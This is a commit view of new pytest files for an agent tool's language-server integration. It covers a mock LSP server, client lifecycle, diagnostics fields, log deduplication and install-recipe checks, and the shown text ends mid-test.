Merge branch 'main' into bb/gui

This commit is contained in:
emozilla
2026-05-12 21:18:07 -04:00
139 changed files with 13565 additions and 816 deletions
+1
View File
@@ -0,0 +1 @@
"""Pytest helpers for LSP-related tests."""
+159
View File
@@ -0,0 +1,159 @@
#!/usr/bin/env python3
"""A minimal in-process LSP server used by tests.
Speaks just enough LSP to drive :class:`agent.lsp.client.LSPClient`
through a full lifecycle: ``initialize``, ``initialized``,
``textDocument/didOpen``, ``textDocument/didChange``, then a
``textDocument/publishDiagnostics`` notification followed by
``shutdown`` + ``exit``.
Behaviour (all behaviours selectable via env var ``MOCK_LSP_SCRIPT``):
- ``"clean"`` — initialize, accept didOpen/didChange, push empty
diagnostics on every open/change, exit cleanly on shutdown.
- ``"errors"`` — same as ``clean`` but the published diagnostics
carry one severity-1 entry pointing at line 0:0.
- ``"crash"`` — exit immediately after responding to ``initialize``
(simulates a crashing server).
- ``"slow"`` — same as ``clean`` but sleeps 1s before responding to
``initialize`` (lets us test timeout behaviour).
The script writes JSON-RPC framed messages to stdout and reads from
stdin. No third-party dependencies — uses only stdlib so it runs
under whatever Python the test process picks up.
"""
from __future__ import annotations
import json
import os
import sys
import time
def read_message():
"""Read one Content-Length framed JSON-RPC message from stdin."""
headers = {}
while True:
line = sys.stdin.buffer.readline()
if not line:
return None
line = line.rstrip(b"\r\n")
if not line:
break
k, _, v = line.decode("ascii").partition(":")
headers[k.strip().lower()] = v.strip()
n = int(headers["content-length"])
body = sys.stdin.buffer.read(n)
return json.loads(body.decode("utf-8"))
def write_message(obj):
body = json.dumps(obj, separators=(",", ":")).encode("utf-8")
sys.stdout.buffer.write(f"Content-Length: {len(body)}\r\n\r\n".encode("ascii"))
sys.stdout.buffer.write(body)
sys.stdout.buffer.flush()
def main():
script = os.environ.get("MOCK_LSP_SCRIPT", "clean")
while True:
msg = read_message()
if msg is None:
return 0
if "id" in msg and msg.get("method") == "initialize":
if script == "slow":
time.sleep(1.0)
write_message(
{
"jsonrpc": "2.0",
"id": msg["id"],
"result": {
"capabilities": {
"textDocumentSync": 1, # Full
"diagnosticProvider": {"interFileDependencies": False, "workspaceDiagnostics": False},
},
"serverInfo": {"name": "mock-lsp", "version": "0.1"},
},
}
)
if script == "crash":
return 0
continue
if msg.get("method") == "initialized":
continue
if msg.get("method") == "workspace/didChangeConfiguration":
continue
if msg.get("method") == "workspace/didChangeWatchedFiles":
continue
if msg.get("method") in ("textDocument/didOpen", "textDocument/didChange"):
params = msg.get("params") or {}
td = params.get("textDocument") or {}
uri = td.get("uri", "")
version = td.get("version", 0)
diagnostics = []
if script == "errors":
diagnostics = [
{
"range": {
"start": {"line": 0, "character": 0},
"end": {"line": 0, "character": 5},
},
"severity": 1,
"code": "MOCK001",
"source": "mock-lsp",
"message": "synthetic error from mock-lsp",
}
]
write_message(
{
"jsonrpc": "2.0",
"method": "textDocument/publishDiagnostics",
"params": {
"uri": uri,
"version": version,
"diagnostics": diagnostics,
},
}
)
continue
if msg.get("method") == "textDocument/diagnostic":
# Pull endpoint — return empty.
write_message(
{
"jsonrpc": "2.0",
"id": msg["id"],
"result": {"kind": "full", "items": []},
}
)
continue
if msg.get("method") == "textDocument/didSave":
continue
if msg.get("method") == "shutdown":
write_message({"jsonrpc": "2.0", "id": msg["id"], "result": None})
continue
if msg.get("method") == "exit":
return 0
# Unknown request: respond with method-not-found.
if "id" in msg:
write_message(
{
"jsonrpc": "2.0",
"id": msg["id"],
"error": {"code": -32601, "message": f"method not found: {msg.get('method')}"},
}
)
if __name__ == "__main__":
sys.exit(main())
+108
View File
@@ -0,0 +1,108 @@
"""Integration test: LSP layer is skipped on non-local backends.
The host-side LSP server can't see files inside a Docker/Modal/SSH
sandbox. When the agent's terminal env isn't ``LocalEnvironment``,
the file_operations layer must skip both ``snapshot_baseline`` and
``get_diagnostics_sync`` calls — falling back to the in-process
syntax check exactly as if LSP were disabled.
"""
from __future__ import annotations
import os
import sys
from unittest.mock import MagicMock
import pytest
from agent.lsp import eventlog
@pytest.fixture(autouse=True)
def _reset():
eventlog.reset_announce_caches()
def test_local_only_helper_returns_true_for_local_env():
from tools.environments.local import LocalEnvironment
from tools.file_operations import ShellFileOperations
fops = ShellFileOperations(LocalEnvironment(cwd="/tmp"))
assert fops._lsp_local_only() is True
def test_local_only_helper_returns_false_for_non_local_env():
"""A mocked non-local env (Docker/Modal/SSH stand-in) returns False."""
from tools.file_operations import ShellFileOperations
# Build something that's NOT a LocalEnvironment. We use a bare
# MagicMock — isinstance() against LocalEnvironment is False.
fake_env = MagicMock()
fake_env.execute = MagicMock(return_value=MagicMock(exit_code=0, stdout=""))
fake_env.cwd = "/sandbox"
fops = ShellFileOperations(fake_env)
assert fops._lsp_local_only() is False
def test_snapshot_baseline_skipped_for_non_local(monkeypatch):
"""Verify the LSP service's snapshot_baseline is NOT called when
the backend isn't local."""
from tools.file_operations import ShellFileOperations
fake_env = MagicMock()
fake_env.execute = MagicMock(return_value=MagicMock(exit_code=0, stdout=""))
fake_env.cwd = "/sandbox"
fops = ShellFileOperations(fake_env)
snapshot_called = []
class FakeService:
def snapshot_baseline(self, path):
snapshot_called.append(path)
monkeypatch.setattr("agent.lsp.get_service", lambda: FakeService())
fops._snapshot_lsp_baseline("/sandbox/x.py")
assert snapshot_called == [], "snapshot must be skipped for non-local backends"
def test_maybe_lsp_diagnostics_returns_empty_for_non_local(monkeypatch):
from tools.file_operations import ShellFileOperations
fake_env = MagicMock()
fake_env.execute = MagicMock(return_value=MagicMock(exit_code=0, stdout=""))
fake_env.cwd = "/sandbox"
fops = ShellFileOperations(fake_env)
called = []
class FakeService:
def enabled_for(self, path):
called.append(("enabled_for", path))
return True
def get_diagnostics_sync(self, path, **kw):
called.append(("get_diagnostics_sync", path))
return [{"severity": 1, "message": "should not see this"}]
monkeypatch.setattr("agent.lsp.get_service", lambda: FakeService())
result = fops._maybe_lsp_diagnostics("/sandbox/x.py")
assert result == ""
assert called == [], "service must not be queried for non-local backends"
def test_snapshot_baseline_called_for_local_env(tmp_path, monkeypatch):
from tools.environments.local import LocalEnvironment
from tools.file_operations import ShellFileOperations
fops = ShellFileOperations(LocalEnvironment(cwd=str(tmp_path)))
snapshot_called = []
class FakeService:
def snapshot_baseline(self, path):
snapshot_called.append(path)
monkeypatch.setattr("agent.lsp.get_service", lambda: FakeService())
fops._snapshot_lsp_baseline(str(tmp_path / "x.py"))
assert snapshot_called == [str(tmp_path / "x.py")]
+213
View File
@@ -0,0 +1,213 @@
"""Tests for the broken-set short-circuit added to handle outer-timeout failures.
When ``snapshot_baseline`` or ``get_diagnostics_sync`` time out from the
service layer (because a language server hangs during initialize, or
the binary is wedged), the inner spawn task is cancelled — but the
inner exception handler that adds to ``_broken`` never runs. Without
the service-layer fallback added in this module, every subsequent
edit re-pays the full timeout cost until the process exits.
This module verifies:
- ``_mark_broken_for_file`` adds the right key
- ``enabled_for`` short-circuits on broken keys
- a missing binary is broken-set'd after one snapshot attempt
"""
from __future__ import annotations
import os
import sys
from pathlib import Path
from unittest.mock import MagicMock, patch
import pytest
from agent.lsp.manager import LSPService
from agent.lsp.servers import SERVERS, ServerContext, ServerDef, SpawnSpec
from agent.lsp.workspace import clear_cache
@pytest.fixture(autouse=True)
def _clear_workspace_cache():
clear_cache()
yield
clear_cache()
def _make_git_workspace(tmp_path: Path) -> Path:
"""Build a minimal git repo with a pyproject so pyright's root resolver fires."""
repo = tmp_path / "repo"
repo.mkdir()
(repo / ".git").mkdir()
(repo / "pyproject.toml").write_text("[project]\nname='t'\n")
return repo
def test_mark_broken_for_file_adds_correct_key(tmp_path, monkeypatch):
"""``_mark_broken_for_file`` keys the broken-set on
(server_id, per_server_root) so subsequent ``enabled_for`` calls
for files in the same project skip immediately."""
repo = _make_git_workspace(tmp_path)
monkeypatch.chdir(str(repo))
src = repo / "x.py"
src.write_text("")
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=2.0,
install_strategy="manual",
)
try:
svc._mark_broken_for_file(str(src), RuntimeError("simulated"))
# The pyright server resolves to the repo root via pyproject.toml.
assert ("pyright", str(repo)) in svc._broken
finally:
svc.shutdown()
def test_enabled_for_returns_false_after_broken(tmp_path, monkeypatch):
"""Once a (server_id, root) pair is in the broken-set,
``enabled_for`` returns False so the file_operations layer skips
the LSP path entirely."""
repo = _make_git_workspace(tmp_path)
monkeypatch.chdir(str(repo))
src = repo / "x.py"
src.write_text("")
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=2.0,
install_strategy="manual",
)
try:
# Initially enabled.
assert svc.enabled_for(str(src)) is True
# Mark broken.
svc._mark_broken_for_file(str(src), RuntimeError("simulated"))
# Now disabled — the broken-set short-circuits.
assert svc.enabled_for(str(src)) is False
finally:
svc.shutdown()
def test_enabled_for_other_file_in_same_project_also_skipped(tmp_path, monkeypatch):
"""The broken key is (server_id, root), so ALL files routed through
the same server in the same project are skipped — not just the one
that triggered the failure."""
repo = _make_git_workspace(tmp_path)
monkeypatch.chdir(str(repo))
a = repo / "a.py"
a.write_text("")
b = repo / "b.py"
b.write_text("")
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=2.0,
install_strategy="manual",
)
try:
svc._mark_broken_for_file(str(a), RuntimeError("simulated"))
# Both files in the same project skip pyright now.
assert svc.enabled_for(str(a)) is False
assert svc.enabled_for(str(b)) is False
finally:
svc.shutdown()
def test_unrelated_project_not_affected_by_broken(tmp_path, monkeypatch):
"""Marking pyright broken for project A must NOT affect project B."""
repo_a = _make_git_workspace(tmp_path)
repo_b = tmp_path / "repo-b"
repo_b.mkdir()
(repo_b / ".git").mkdir()
(repo_b / "pyproject.toml").write_text("[project]\nname='b'\n")
a_src = repo_a / "x.py"
a_src.write_text("")
b_src = repo_b / "x.py"
b_src.write_text("")
monkeypatch.chdir(str(repo_a))
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=2.0,
install_strategy="manual",
)
try:
svc._mark_broken_for_file(str(a_src), RuntimeError("simulated"))
# Project A skipped.
assert svc.enabled_for(str(a_src)) is False
# Project B still enabled — the broken key is per-project.
monkeypatch.chdir(str(repo_b))
assert svc.enabled_for(str(b_src)) is True
finally:
svc.shutdown()
def test_mark_broken_handles_missing_server_silently(tmp_path):
"""If the file extension doesn't match any registered server,
``_mark_broken_for_file`` no-ops — nothing to mark."""
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=2.0,
install_strategy="manual",
)
try:
# No registered server for .xyz; must not raise.
svc._mark_broken_for_file(str(tmp_path / "weird.xyz"), RuntimeError("x"))
assert len(svc._broken) == 0
finally:
svc.shutdown()
def test_mark_broken_handles_no_workspace_silently(tmp_path):
"""File outside any git worktree → no workspace → no key to add."""
src = tmp_path / "orphan.py"
src.write_text("")
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=2.0,
install_strategy="manual",
)
try:
svc._mark_broken_for_file(str(src), RuntimeError("x"))
assert len(svc._broken) == 0
finally:
svc.shutdown()
def test_snapshot_failure_marks_broken_via_outer_timeout(tmp_path, monkeypatch):
"""End-to-end: ``snapshot_baseline``'s outer ``_loop.run`` timeout
triggers ``_mark_broken_for_file``, so a second call to
``enabled_for`` returns False."""
repo = _make_git_workspace(tmp_path)
monkeypatch.chdir(str(repo))
src = repo / "x.py"
src.write_text("")
svc = LSPService(
enabled=True,
wait_mode="document",
wait_timeout=2.0,
install_strategy="manual",
)
try:
# Force the inner snapshot coroutine to raise.
async def boom(_path):
raise RuntimeError("outer-timeout simulated")
with patch.object(svc, "_snapshot_async", boom):
assert svc.enabled_for(str(src)) is True
svc.snapshot_baseline(str(src))
# After the failure, the file's pair is in the broken-set and
# ``enabled_for`` skips it.
assert ("pyright", str(repo)) in svc._broken
assert svc.enabled_for(str(src)) is False
finally:
svc.shutdown()
+143
View File
@@ -0,0 +1,143 @@
"""End-to-end client tests against the in-process mock LSP server.
Spins up :file:`_mock_lsp_server.py` as an actual subprocess, drives
it through real LSP traffic, and asserts diagnostic flow. This is
the closest thing we have to integration coverage without requiring
pyright/gopls/etc. to be installed in CI.
"""
from __future__ import annotations
import asyncio
import os
import sys
from pathlib import Path
import pytest
from agent.lsp.client import LSPClient
MOCK_SERVER = str(Path(__file__).parent / "_mock_lsp_server.py")
def _client(workspace: Path, script: str = "clean") -> LSPClient:
env = {"MOCK_LSP_SCRIPT": script, "PYTHONPATH": os.environ.get("PYTHONPATH", "")}
return LSPClient(
server_id=f"mock-{script}",
workspace_root=str(workspace),
command=[sys.executable, MOCK_SERVER],
env=env,
cwd=str(workspace),
)
@pytest.mark.asyncio
async def test_client_lifecycle_clean(tmp_path: Path):
"""Full lifecycle: spawn, initialize, open, get clean diagnostics, shutdown."""
f = tmp_path / "x.py"
f.write_text("print('hi')\n")
client = _client(tmp_path, "clean")
await client.start()
try:
assert client.is_running
version = await client.open_file(str(f), language_id="python")
assert version == 0
await client.wait_for_diagnostics(str(f), version, mode="document")
diags = client.diagnostics_for(str(f))
assert diags == []
finally:
await client.shutdown()
assert not client.is_running
@pytest.mark.asyncio
async def test_client_receives_published_errors(tmp_path: Path):
f = tmp_path / "x.py"
f.write_text("print('hi')\n")
client = _client(tmp_path, "errors")
await client.start()
try:
version = await client.open_file(str(f), language_id="python")
await client.wait_for_diagnostics(str(f), version, mode="document")
diags = client.diagnostics_for(str(f))
assert len(diags) == 1
d = diags[0]
assert d["severity"] == 1
assert d["code"] == "MOCK001"
assert d["source"] == "mock-lsp"
assert "synthetic error" in d["message"]
finally:
await client.shutdown()
@pytest.mark.asyncio
async def test_client_didchange_bumps_version(tmp_path: Path):
f = tmp_path / "x.py"
f.write_text("print('hi')\n")
client = _client(tmp_path, "errors")
await client.start()
try:
v0 = await client.open_file(str(f), language_id="python")
f.write_text("print('hi 2')\n")
v1 = await client.open_file(str(f), language_id="python") # re-open path = didChange
assert v1 == v0 + 1
await client.wait_for_diagnostics(str(f), v1, mode="document")
# Mock pushed a diagnostic for both events; merged view has one
# entry (push store keyed by file path).
diags = client.diagnostics_for(str(f))
assert len(diags) == 1
finally:
await client.shutdown()
@pytest.mark.asyncio
async def test_client_handles_crashing_server(tmp_path: Path):
"""When the server exits right after initialize, subsequent requests
fail gracefully (not hang)."""
f = tmp_path / "x.py"
f.write_text("")
client = _client(tmp_path, "crash")
await client.start() # should succeed (mock answers initialize before crashing)
# Give the OS a moment to deliver the EOF.
await asyncio.sleep(0.2)
# The reader loop should detect EOF and mark pending requests as failed.
try:
await asyncio.wait_for(
client.open_file(str(f), language_id="python"), timeout=2.0
)
except Exception:
pass # any exception is acceptable; the contract is "doesn't hang"
await client.shutdown()
@pytest.mark.asyncio
async def test_client_shutdown_idempotent(tmp_path: Path):
"""Calling shutdown twice must be safe."""
f = tmp_path / "x.py"
f.write_text("")
client = _client(tmp_path, "clean")
await client.start()
await client.shutdown()
await client.shutdown() # must not raise
@pytest.mark.asyncio
async def test_client_diagnostics_are_deduped(tmp_path: Path):
"""Repeated identical pushes must not produce duplicate diagnostics."""
f = tmp_path / "x.py"
f.write_text("")
client = _client(tmp_path, "errors")
await client.start()
try:
for _ in range(3):
v = await client.open_file(str(f), language_id="python")
await client.wait_for_diagnostics(str(f), v, mode="document")
diags = client.diagnostics_for(str(f))
# Push store overwrites on every notification — should have 1.
assert len(diags) == 1
finally:
await client.shutdown()
+146
View File
@@ -0,0 +1,146 @@
"""Tests for the ``lsp_diagnostics`` field on WriteResult / PatchResult.
The field exists so the agent can read syntax errors (``lint``) and
semantic errors (``lsp_diagnostics``) as separate signals rather than
having LSP output prepended to the lint string.
"""
from __future__ import annotations
import os
import sys
import tempfile
from unittest.mock import MagicMock, patch
import pytest
from tools.environments.local import LocalEnvironment
from tools.file_operations import (
PatchResult,
ShellFileOperations,
WriteResult,
)
# ---------------------------------------------------------------------------
# Dataclass shape
# ---------------------------------------------------------------------------
def test_writeresult_lsp_diagnostics_optional():
r = WriteResult()
assert r.lsp_diagnostics is None
def test_writeresult_to_dict_omits_field_when_none():
r = WriteResult(bytes_written=10)
assert "lsp_diagnostics" not in r.to_dict()
def test_writeresult_to_dict_includes_field_when_set():
r = WriteResult(bytes_written=10, lsp_diagnostics="<diagnostics>...</diagnostics>")
d = r.to_dict()
assert d["lsp_diagnostics"] == "<diagnostics>...</diagnostics>"
def test_patchresult_to_dict_includes_field_when_set():
r = PatchResult(success=True, lsp_diagnostics="ERROR [1:1] thing")
d = r.to_dict()
assert d["lsp_diagnostics"] == "ERROR [1:1] thing"
def test_patchresult_to_dict_omits_field_when_none():
r = PatchResult(success=True)
assert "lsp_diagnostics" not in r.to_dict()
def test_patchresult_to_dict_omits_field_when_empty_string():
"""Empty string counts as falsy — agent shouldn't see an empty field."""
r = PatchResult(success=True, lsp_diagnostics="")
assert "lsp_diagnostics" not in r.to_dict()
# ---------------------------------------------------------------------------
# Channel separation: lint and lsp_diagnostics stay independent
# ---------------------------------------------------------------------------
def test_lint_and_lsp_diagnostics_are_separate_channels():
"""A WriteResult can carry BOTH a syntax-error lint AND an LSP
diagnostic block. They belong in separate fields."""
r = WriteResult(
bytes_written=42,
lint={"status": "error", "output": "SyntaxError: ..."},
lsp_diagnostics="<diagnostics>ERROR [1:5] type mismatch</diagnostics>",
)
d = r.to_dict()
assert "lint" in d
assert "lsp_diagnostics" in d
assert d["lint"]["output"] == "SyntaxError: ..."
assert "type mismatch" in d["lsp_diagnostics"]
# ---------------------------------------------------------------------------
# write_file populates the field via _maybe_lsp_diagnostics
# ---------------------------------------------------------------------------
def test_write_file_populates_lsp_diagnostics_when_layer_returns_block(tmp_path):
"""When the LSP layer returns a non-empty block, write_file puts it
into the ``lsp_diagnostics`` field — NOT into ``lint.output``."""
fops = ShellFileOperations(LocalEnvironment(cwd=str(tmp_path)))
target = tmp_path / "x.py"
block = "<diagnostics file=\"x.py\">\nERROR [1:1] problem\n</diagnostics>"
with patch.object(fops, "_maybe_lsp_diagnostics", return_value=block):
res = fops.write_file(str(target), "x = 1\n")
assert res.lsp_diagnostics == block
# Lint is the syntax check, which is clean for "x = 1" — must NOT
# have the LSP block folded into it.
assert res.lint == {"status": "ok", "output": ""}
def test_write_file_lsp_diagnostics_none_when_layer_returns_empty(tmp_path):
fops = ShellFileOperations(LocalEnvironment(cwd=str(tmp_path)))
target = tmp_path / "x.py"
with patch.object(fops, "_maybe_lsp_diagnostics", return_value=""):
res = fops.write_file(str(target), "x = 1\n")
assert res.lsp_diagnostics is None
def test_write_file_skips_lsp_when_syntax_failed(tmp_path):
"""If the syntax check finds errors, the LSP layer should not be
consulted (a file that won't parse won't yield meaningful semantic
diagnostics)."""
fops = ShellFileOperations(LocalEnvironment(cwd=str(tmp_path)))
target = tmp_path / "broken.py"
with patch.object(fops, "_maybe_lsp_diagnostics") as mock_lsp:
res = fops.write_file(str(target), "def x(:\n") # syntax error
assert mock_lsp.call_count == 0
assert res.lsp_diagnostics is None
assert res.lint["status"] == "error"
# ---------------------------------------------------------------------------
# patch_replace propagates the field from the inner write_file
# ---------------------------------------------------------------------------
def test_patch_replace_propagates_lsp_diagnostics(tmp_path):
"""patch_replace's internal write_file populates lsp_diagnostics —
the outer PatchResult must carry it forward."""
fops = ShellFileOperations(LocalEnvironment(cwd=str(tmp_path)))
target = tmp_path / "x.py"
target.write_text("x = 1\n")
block = "<diagnostics>ERROR [1:5] semantic issue</diagnostics>"
with patch.object(fops, "_maybe_lsp_diagnostics", return_value=block):
res = fops.patch_replace(str(target), "x = 1", "x = 2")
assert res.success is True
assert res.lsp_diagnostics == block
+199
View File
@@ -0,0 +1,199 @@
"""Tests for the structured logging dedup model.
The contract: a 1000-write session in one project should emit exactly
ONE INFO line ("active for <root>") at the default INFO threshold.
Steady-state events stay at DEBUG; first-time-seen events surface
once at INFO/WARNING.
"""
from __future__ import annotations
import logging
import pytest
from agent.lsp import eventlog
@pytest.fixture(autouse=True)
def _reset():
eventlog.reset_announce_caches()
yield
eventlog.reset_announce_caches()
@pytest.fixture
def caplog_lsp(caplog):
caplog.set_level(logging.DEBUG, logger="hermes.lint.lsp")
return caplog
# ---------------------------------------------------------------------------
# Steady-state silence (DEBUG)
# ---------------------------------------------------------------------------
def test_clean_emits_at_debug(caplog_lsp):
for _ in range(10):
eventlog.log_clean("pyright", "/proj/x.py")
info_records = [r for r in caplog_lsp.records if r.levelno >= logging.INFO]
debug_records = [r for r in caplog_lsp.records if r.levelno == logging.DEBUG]
assert info_records == []
assert len(debug_records) == 10
def test_disabled_emits_at_debug(caplog_lsp):
eventlog.log_disabled("pyright", "/x.py", "feature off")
eventlog.log_disabled("pyright", "/x.py", "ext not mapped")
assert all(r.levelno == logging.DEBUG for r in caplog_lsp.records)
# ---------------------------------------------------------------------------
# State transitions: INFO once, DEBUG thereafter
# ---------------------------------------------------------------------------
def test_active_for_fires_once_per_root(caplog_lsp):
for _ in range(50):
eventlog.log_active("pyright", "/proj")
info_records = [
r for r in caplog_lsp.records
if r.levelno == logging.INFO and "active for" in r.getMessage()
]
assert len(info_records) == 1
def test_active_for_fires_per_distinct_root(caplog_lsp):
eventlog.log_active("pyright", "/proj-a")
eventlog.log_active("pyright", "/proj-b")
info = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
assert len(info) == 2
def test_active_for_separate_per_server(caplog_lsp):
eventlog.log_active("pyright", "/proj")
eventlog.log_active("typescript", "/proj")
info = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
assert len(info) == 2
def test_no_project_root_fires_once_per_path(caplog_lsp):
for _ in range(5):
eventlog.log_no_project_root("pyright", "/orphan.py")
info = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
assert len(info) == 1
# ---------------------------------------------------------------------------
# Diagnostics events fire INFO every time
# ---------------------------------------------------------------------------
def test_diagnostics_always_info(caplog_lsp):
for i in range(5):
eventlog.log_diagnostics("pyright", f"/x{i}.py", 1)
info = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
assert len(info) == 5
assert all("diags" in r.getMessage() for r in info)
# ---------------------------------------------------------------------------
# Action-required: WARNING once, DEBUG thereafter (or per call for novel events)
# ---------------------------------------------------------------------------
def test_server_unavailable_warns_once_per_binary(caplog_lsp):
for _ in range(20):
eventlog.log_server_unavailable("pyright", "pyright-langserver")
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
assert len(warns) == 1
assert "pyright-langserver" in warns[0].getMessage()
def test_server_unavailable_separate_per_binary(caplog_lsp):
eventlog.log_server_unavailable("pyright", "pyright-langserver")
eventlog.log_server_unavailable("typescript", "typescript-language-server")
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
assert len(warns) == 2
def test_no_server_configured_warns_once(caplog_lsp):
for _ in range(10):
eventlog.log_no_server_configured("pyright")
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
assert len(warns) == 1
def test_timeout_warns_every_call(caplog_lsp):
for _ in range(3):
eventlog.log_timeout("pyright", "/x.py")
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
assert len(warns) == 3
def test_server_error_warns_every_call(caplog_lsp):
for _ in range(3):
eventlog.log_server_error("pyright", "/x.py", RuntimeError("boom"))
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
assert len(warns) == 3
def test_spawn_failed_warns(caplog_lsp):
eventlog.log_spawn_failed("pyright", "/proj", FileNotFoundError("nope"))
warns = [r for r in caplog_lsp.records if r.levelno == logging.WARNING]
assert len(warns) == 1
assert "spawn/initialize failed" in warns[0].getMessage()
# ---------------------------------------------------------------------------
# Format: log lines all carry the lsp[<server_id>] prefix for grep
# ---------------------------------------------------------------------------
def test_log_lines_use_lsp_prefix(caplog_lsp):
eventlog.log_clean("pyright", "/x.py")
eventlog.log_active("pyright", "/proj")
eventlog.log_diagnostics("typescript", "/y.ts", 2)
for r in caplog_lsp.records:
assert r.getMessage().startswith("lsp[")
# ---------------------------------------------------------------------------
# Steady-state contract: 1000 clean writes → 1 INFO at most
# ---------------------------------------------------------------------------
def test_thousand_clean_writes_emit_one_info(caplog_lsp):
"""A long session writes lots of files cleanly; agent.log should
show ONE 'active for' INFO and zero other INFO lines."""
eventlog.log_active("pyright", "/proj")
for _ in range(1000):
eventlog.log_clean("pyright", "/proj/x.py")
info_records = [r for r in caplog_lsp.records if r.levelno == logging.INFO]
assert len(info_records) == 1
assert "active for" in info_records[0].getMessage()
# ---------------------------------------------------------------------------
# Path shortening
# ---------------------------------------------------------------------------
def test_short_path_uses_relative_when_inside_cwd(tmp_path, monkeypatch):
monkeypatch.chdir(tmp_path)
sub = tmp_path / "x.py"
sub.write_text("")
out = eventlog._short_path(str(sub))
assert out == "x.py"
def test_short_path_keeps_absolute_when_outside(tmp_path, monkeypatch):
monkeypatch.chdir(tmp_path / "a") if (tmp_path / "a").exists() else None
monkeypatch.chdir(tmp_path)
other = "/var/log/foo.txt"
out = eventlog._short_path(other)
# Outside cwd: keeps absolute (no leading "../")
assert out == "/var/log/foo.txt" or not out.startswith("..")
def test_short_path_handles_empty_string():
assert eventlog._short_path("") == ""
@@ -0,0 +1,279 @@
"""Tests for follow-up fixes to the LSP integration (PR after #24168).
Covers:
1. ``typescript-language-server`` install recipe pulls in ``typescript``
alongside the server, so the npm install command targets both.
2. ``hermes lsp status`` surfaces a ``Backend warnings`` section when
bash-language-server is installed but ``shellcheck`` is missing.
3. ``_check_lint`` returns ``skipped`` (not ``error``) when the linter
command exists on PATH but couldn't actually run — e.g. ``npx tsc``
without the typescript SDK installed. This is what unblocks the
LSP semantic tier on TypeScript files when the user doesn't also
have a project-level ``tsc``.
"""
from __future__ import annotations
import io
from contextlib import redirect_stdout
from unittest.mock import MagicMock, patch
import pytest
from agent.lsp.install import INSTALL_RECIPES
# ---------------------------------------------------------------------------
# Fix 1: typescript install recipe carries the typescript SDK
# ---------------------------------------------------------------------------
def test_typescript_recipe_includes_typescript_sdk():
recipe = INSTALL_RECIPES["typescript-language-server"]
extras = recipe.get("extra_pkgs") or []
assert "typescript" in extras, (
"typescript-language-server requires the `typescript` SDK as a "
"sibling install — without it `initialize` fails with "
"'Could not find a valid TypeScript installation'."
)
def test_install_npm_passes_extras_to_npm_command(tmp_path, monkeypatch):
"""Verify the npm subprocess is invoked with both pkg AND extras."""
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
captured = {}
def fake_run(cmd, **kwargs):
captured["cmd"] = cmd
# Pretend npm succeeded but binary doesn't exist — install code
# will return None, which is fine for this test.
return MagicMock(returncode=0, stderr="")
from agent.lsp import install as install_mod
monkeypatch.setattr(install_mod.subprocess, "run", fake_run)
monkeypatch.setattr(install_mod.shutil, "which", lambda c: "/usr/bin/npm" if c == "npm" else None)
install_mod._install_npm("typescript-language-server", "typescript-language-server",
extra_pkgs=["typescript"])
cmd = captured["cmd"]
assert "typescript-language-server" in cmd
assert "typescript" in cmd
# Both must come AFTER the npm flags, in install-target position
install_idx = cmd.index("install")
assert cmd.index("typescript-language-server") > install_idx
assert cmd.index("typescript") > install_idx
def test_install_npm_works_without_extras(tmp_path, monkeypatch):
"""Backwards compat: pyright-style recipes (no extras) still install."""
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
captured = {}
def fake_run(cmd, **kwargs):
captured["cmd"] = cmd
return MagicMock(returncode=0, stderr="")
from agent.lsp import install as install_mod
monkeypatch.setattr(install_mod.subprocess, "run", fake_run)
monkeypatch.setattr(install_mod.shutil, "which", lambda c: "/usr/bin/npm" if c == "npm" else None)
install_mod._install_npm("pyright", "pyright-langserver")
cmd = captured["cmd"]
assert "pyright" in cmd
# Should not blow up when extra_pkgs is omitted/None
install_targets = [c for c in cmd if not c.startswith("-") and c not in (
"install", "--prefix", str(install_mod.hermes_lsp_bin_dir().parent),
"/usr/bin/npm",
)]
assert install_targets == ["pyright"]
# ---------------------------------------------------------------------------
# Fix 2: ``hermes lsp status`` surfaces shellcheck-missing for bash
# ---------------------------------------------------------------------------
def test_backend_warnings_quiet_when_bash_not_installed(tmp_path, monkeypatch):
"""No bash → no warning."""
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
from agent.lsp import cli as lsp_cli
with patch("shutil.which", return_value=None):
notes = lsp_cli._backend_warnings()
assert notes == []
def test_backend_warnings_quiet_when_bash_and_shellcheck_both_present(tmp_path, monkeypatch):
"""Both installed → no warning."""
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
from agent.lsp import cli as lsp_cli
def which(name):
return f"/usr/bin/{name}" # both found
with patch("shutil.which", side_effect=which):
notes = lsp_cli._backend_warnings()
assert notes == []
def test_backend_warnings_fires_when_bash_installed_but_shellcheck_missing(tmp_path, monkeypatch):
"""The exact scenario from the bug report."""
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
from agent.lsp import cli as lsp_cli
def which(name):
if name == "bash-language-server":
return "/fake/bin/bash-language-server"
return None # shellcheck missing
with patch("shutil.which", side_effect=which):
notes = lsp_cli._backend_warnings()
assert len(notes) == 1
assert "shellcheck" in notes[0].lower()
assert "bash-language-server" in notes[0].lower()
def test_status_output_includes_backend_warnings_section(tmp_path, monkeypatch):
"""End-to-end: status command output includes the warning section."""
monkeypatch.setenv("HERMES_HOME", str(tmp_path))
# Pretend bash-language-server is installed but shellcheck is missing
def which(name):
if name == "bash-language-server":
return "/fake/bin/bash-language-server"
return None
from agent.lsp import cli as lsp_cli
buf = io.StringIO()
with patch("shutil.which", side_effect=which), redirect_stdout(buf):
lsp_cli._cmd_status(emit_json=False)
output = buf.getvalue()
assert "Backend warnings" in output
assert "shellcheck" in output
# ---------------------------------------------------------------------------
# Fix 3: tier-1 lint treats unusable linters as ``skipped``, not ``error``
# ---------------------------------------------------------------------------
def test_npx_tsc_missing_treated_as_skipped():
